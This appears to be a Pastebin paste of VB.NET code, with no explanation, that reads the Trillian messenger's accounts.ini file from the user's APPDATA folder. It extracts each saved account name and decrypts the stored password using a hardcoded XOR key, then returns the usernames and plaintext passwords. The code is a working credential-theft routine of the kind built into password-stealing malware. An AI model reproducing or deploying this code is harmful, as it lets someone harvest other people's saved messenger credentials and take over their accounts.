Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Public Function trillian_recovery() As String
- Try
- Dim filepath As String
- filepath = Environ("APPDATA") & "\Trillian\users\global\accounts.ini"
- Dim msr As New System.IO.StreamReader(filepath)
- Dim data As String = msr.ReadToEnd
- Dim output As String = ""
- msr.Close()
- Dim arr As String() = data.Split(vbNewLine)
- For i As Integer = 0 To UBound(arr)
- If arr(i).Contains("Display Name=") = True Then
- Dim username As String = arr(i).Substring(14)
- Dim password As String = trillian_decrypt(arr(i + 1).Substring(10))
- output += "Username: " & username & vbNewLine & "Password: " & password & vbNewLine & vbNewLine
- End If
- Next
- Return output
- Catch ex As Exception
- Return "---"
- End Try
- End Function
- Private Shared Function HexToString(ByVal hex As String) As String
- Dim index As Long
- Dim maxIndex As Long
- Dim sb As New system.text.StringBuilder
- Dim returnString As String = String.Empty
- maxIndex = Len(hex)
- For index = 1 To maxIndex Step 2
- sb.Append(Chr(CInt("&h" & Mid(hex, CInt(index), 2))))
- Next
- returnString = sb.ToString
- sb.Length = 0
- Return returnString
- End Function
- Public Function trillian_decrypt(ByVal pass As String) As String
- Dim key() As Integer = {243, 38, 129, 196, 57, 134, _
- 219, 146, 113, 163, 185, 230, _
- 83, 122, 149, 124, 243, 38, 129, _
- 196, 57, 134, 219, 146, 113, 163, _
- 185, 230, 83, 122, 149, 124}
- Dim out As String = ""
- Dim encpass As String = trillianbase64(pass)
- Dim chrarr As Char() = HexToString(encpass).ToCharArray
- Dim intarr(UBound(chrarr)) As Integer
- For i As Integer = 0 To UBound(chrarr)
- intarr(i) = Asc(chrarr(i))
- Next
- For i As Integer = 0 To UBound(intarr)
- out += Chr(intarr(i) Xor key(i))
- Next
- Return out
- End Function
- Public Function trillianbase64(ByVal data As String) As String
- Try
- Dim x As Byte() = Convert.FromBase64String(data)
- Dim y As String = System.Text.Encoding.ASCII.GetString(x)
- Dim z As Char() = y.ToCharArray
- Dim out As String = ""
- For i As Integer = 0 To UBound(z) - 1
- out += z(i)
- Next
- Dim asdf As Integer = out.Length
- Dim test As Char() = out.ToCharArray
- Return out
- Catch e As Exception
- Return ""
- End Try
- End Function
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement